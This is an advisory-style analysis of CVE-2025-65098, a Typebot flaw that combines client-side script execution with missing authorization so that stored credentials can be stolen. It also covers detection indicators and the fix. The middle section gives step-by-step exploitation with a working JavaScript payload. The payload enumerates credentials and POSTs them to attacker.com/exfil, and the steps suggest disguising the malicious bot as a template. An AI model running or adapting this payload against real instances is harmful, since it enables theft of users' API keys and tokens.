CVE-2025-65098: 
JavaScript vulnerability analysis and mitigation

CVE-2025-65098 is a credential theft vulnerability in Typebot, an open-source chatbot builder, combining client-side script execution (XSS) with an API authorization bypass to exfiltrate all stored user credentials. It affects Typebot versions prior to 3.13.2 (npm package @typebot.io/js versions prior to 0.9.15). The vulnerability was published on January 22, 2026, and patched in version 3.13.2 released the same day. It carries a CVSS v3.1 base score of 7.4 (High) (GitHub Advisory, Github Advisory DB).

The vulnerability has two compounding root causes classified under CWE-79 (XSS), CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-862 (Missing Authorization), and CWE-311 (Missing Encryption of Sensitive Data). First, the Script block in Typebot's builder allows arbitrary JavaScript to be executed client-side in the victim's authenticated browser session when they preview a bot — the vulnerable file is packages/embeds/js/src/features/blocks/logic/script/executeScript.ts. Second, the /api/trpc/credentials.getCredentials API endpoint returns plaintext API keys and tokens without verifying that the requesting user owns the credential — it only checks authentication, not authorization. An attacker with a free-tier account can craft a malicious typebot containing an exfiltration script, share it with a target, and harvest all credentials when the victim clicks "Run" to preview it (GitHub Advisory).

Successful exploitation results in complete exfiltration of all credentials stored in the victim's Typebot account, including OpenAI API keys, Google Sheets OAuth tokens (access and refresh tokens), and SMTP passwords — all returned in plaintext. The scope is changed (S:C) because the malicious script executing in the victim's browser context can access resources across user and workspace scopes via the authenticated session. There is no integrity or availability impact, but the confidentiality impact is high, as stolen credentials can be used for financial abuse (e.g., unauthorized OpenAI API usage), unauthorized access to Google Sheets data, and email system compromise (GitHub Advisory, Github Advisory DB).

A detailed proof-of-concept (PoC) script is publicly available in the official security advisory, demonstrating the full credential exfiltration chain using the credentials.listCredentials and credentials.getCredentials tRPC endpoints. No privileges are required to create the malicious typebot, and exploitation only requires the victim to click "Run" to preview the shared bot. The EPSS score is approximately 0.019% (6th percentile), and there is no evidence of in-the-wild exploitation or CISA KEV catalog listing as of the advisory date (GitHub Advisory, Github Advisory DB).

1. Account Creation: Register a free-tier Typebot account on app.typebot.io or a self-hosted instance running a version prior to 3.13.2.
2. Craft Malicious Bot: In the Typebot Builder, create a new typebot and add a Script block with "Execute on client" enabled.
3. Inject Exfiltration Payload: Paste the following JavaScript into the Script block, replacing https://attacker.com/exfil with an attacker-controlled endpoint:

const exfil = async () => {
  const data = { credentials: [] };
  const list = await fetch(
    "https://app.typebot.io/api/trpc/credentials.listCredentials?input=" +
    encodeURIComponent(JSON.stringify({ json: { scope: "user" } })),
    { credentials: "include" }
  );
  const creds = (await list.json()).result?.data?.json?.credentials || [];
  for (const c of creds) {
    const full = await fetch(
      "https://app.typebot.io/api/trpc/credentials.getCredentials?input=" +
      encodeURIComponent(JSON.stringify({ json: { scope: "user", credentialsId: c.id } })),
      { credentials: "include" }
    );
    const d = await full.json();
    data.credentials.push({ name: d.result.data.json.name, type: c.type, fullData: d.result.data.json.data });
  }
  // Repeat for workspace-scoped credentials...
  await fetch("https://attacker.com/exfil", { method: "POST", body: JSON.stringify(data) });
};
await exfil();

4. Share with Target: Share the malicious typebot link with the victim (e.g., disguised as a "Customer Feedback Template").
5. Trigger Execution: When the victim opens the shared typebot and clicks "Run" to preview it, the JavaScript executes in their authenticated browser session.
6. Harvest Credentials: The script calls credentials.listCredentials to enumerate all credential IDs, then calls credentials.getCredentials for each ID — the API returns plaintext keys without ownership verification — and POSTs the full credential dump (OpenAI keys, Google Sheets tokens, SMTP passwords) to the attacker's server (GitHub Advisory).

• Network: Outbound POST requests from a user's browser to unexpected external domains (e.g., attacker.com) originating from the Typebot application origin; unusual GET requests to /api/trpc/credentials.getCredentials or /api/trpc/credentials.listCredentials with credential IDs not belonging to the requesting user.
• Logs: Server-side API logs showing credentials.getCredentials calls with credential IDs belonging to other users or workspaces; high-frequency enumeration of credential IDs from a single authenticated session.
• Application: Unexpected or unfamiliar typebots shared with users containing Script blocks with "Execute on client" enabled, especially from external or unknown sources.
• Credential Abuse: Unexpected usage spikes or unauthorized API calls on OpenAI, Google Sheets, or SMTP accounts linked to Typebot integrations, indicating stolen credentials are being used (GitHub Advisory).

Upgrade Typebot to version 3.13.2 or later (npm package @typebot.io/js to version 0.9.15 or later), which restricts client-side code execution on imported or shared bots and adds an "unsafe script" warning prompt requiring explicit user trust before execution. The patch (commit a68f0c9) introduces enableSafetyFlags for imported bots and sanitizes groups to prevent untrusted script execution by default. As an interim measure, avoid previewing typebots from untrusted or unknown sources, and immediately rotate all API keys and credentials (OpenAI, Google Sheets, SMTP) stored in Typebot instances that may have been exposed (GitHub Advisory, Patch Commit).

The vulnerability was reported by security researcher Deyvi-dev and disclosed responsibly through GitHub's security advisory process. Red Hat acknowledged the CVE in their security tracking system. CISA included it in their weekly vulnerability bulletin (SB26-026). No significant broader media coverage or notable researcher commentary beyond the advisory itself has been identified (GitHub Advisory).